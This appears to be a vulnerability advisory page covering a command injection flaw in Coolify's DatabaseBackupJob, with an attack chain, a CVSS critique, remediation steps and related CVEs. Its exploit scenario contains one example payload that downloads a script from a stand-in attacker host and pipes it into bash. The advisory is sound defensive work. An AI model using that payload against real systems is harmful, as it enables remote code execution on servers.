Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with database management role
-
DeliverySet shell metacharacters in database credentials or MongoDB exclusion names
-
ExploitTrigger DatabaseBackupJob (scheduled or manual)
-
ExecutionShell interprets injected metacharacters in backup command
-
PersistArbitrary OS commands execute on managed server
-
ImpactAttain server-level code execution beyond intended permissions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Coolify session with database management permissions - specifically the ability to edit database credentials or configure MongoDB collection exclusion names within the Coolify UI. The attacker must also be able to cause DatabaseBackupJob to execute, either by waiting for a scheduled run or triggering a manual backup. Unauthenticated users cannot exploit this flaw. Users authenticated to Coolify but lacking database management permissions cannot exploit it. Single-administrator Coolify instances where only one fully trusted user exists have no realistic exploitation path. The at-risk deployment model is a multi-user or team instance where one or more lower-trust users hold the database management role as a scoped permission without full server access - this is the scenario where the flaw enables privilege escalation beyond the intended permission boundary. |
| Impact | The official CVSS 3.3 (Low) score - vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - materially understates real-world risk on two axes. First, the Unchanged scope (S:U) conflicts with the description, which explicitly states commands execute on managed servers external to the Coolify application boundary; this is a scope change scenario. Second, C:L/I:L/A:N understates the consequence of arbitrary OS command execution on a production server. EPSS data was not supplied in the intelligence feed, so exploitation probability cannot be quantified numerically. KEV status is negative and no public POC has been identified, so exploitation is not confirmed as active. Despite PR:H as a gating requirement, the attack procedure is straightforward for any user legitimately holding database management permissions - no technical sophistication beyond editing a credential field is required, which reduces the practical barrier implied by AC:H. Real-world priority is moderate for single-administrator deployments (near-zero realistic attacker path) and meaningfully elevated for multi-user or team Coolify instances where lower-trust users hold database management roles and can abuse that access to pivot to server shell access. |
| Exploit ScenarioDerived | A developer in a team Coolify deployment - legitimately granted database management permissions but not server shell access - edits the password field of a managed MongoDB instance to append a payload such as ; curl https://attacker.example/implant.sh | bash. When DatabaseBackupJob executes (on its next scheduled run or when triggered manually), Coolify interpolates the malicious credential directly into the backup shell command, causing the injected payload to execute on the managed server with the privileges of the backup process. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 07, 2026
Command injection in Coolify's DatabaseBackupJob allows authenticated users holding database management permissions to execute arbitrary OS commands on managed servers by embedding shell metacharacters in database credentials or MongoDB collection exclusion names. All Coolify releases prior to 4.0.0-beta.471 are affected. No public exploit code has been identified at time of analysis and the vulnerability is absent from CISA KEV; however, the practical impact substantially exceeds the official CVSS 3.3 Low rating because successful exploitation grants attacker-controlled shell execution on production infrastructure managed by the platform.
RemediationAI
Upgrade Coolify to version 4.0.0-beta.471 or later, which addresses the injection via commits 952f3247970d261ff93f85c79066192f58f9557e and 99043600ee881fd8581185e7590604d9882382cd as documented at https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. If an immediate upgrade cannot be performed, restrict database management permissions exclusively to fully trusted administrators, eliminating the attacker role needed for exploitation - note this is a compensating control only and does not fix the underlying flaw. Additionally, audit all database credentials currently stored in Coolify for shell metacharacters (such as ;, |, $(), and backticks) and review recent backup job execution logs on managed servers for anomalous command output. Removing the MongoDB exclusion-name functionality from lower-privileged users is a targeted workaround if the feature is not operationally required.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Coolify (CPE: cpe:2.3:a:coollabsio:coolify:*:*:*:*:*:*:*:*) is an open-source, self-hostable PaaS that orchestrates servers, applications, and databases via a web interface. Its DatabaseBackupJob component constructs shell commands to perform database backup operations and directly interpolates user-supplied values - specifically database credentials and MongoDB collection exclusion names - into those commands without sanitization or shell escaping. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) flaw: shell metacharacters present in those inputs (semicolons, backticks, pipe characters, command substitution syntax) are interpreted by the invoking shell rather than treated as literal data. Because Coolify operates as a management plane that issues commands against remote servers, the injection point executes in the context of managed infrastructure rather than solely on the Coolify host itself.
Know when Coolify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
PR:H for required database management role; S:C with C/I/A:H because arbitrary OS command execution reaches managed servers outside Coolify's own security boundary.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, DatabaseBackupJob interpolates user-controlled database credentials and MongoDB collection exclusion names into backup shell commands without adequate escaping, allowing an authenticated user with database management permissions to execute commands on managed servers. This issue is fixed in version 4.0.0-beta.471.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in Coolify Server Management Platform Multiple Flaws
View all 16Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,
Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo
Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d
Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute
Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.
Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic
Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via
Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo
Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi
Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg
Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss
Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica
EUVD-2026-41989
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB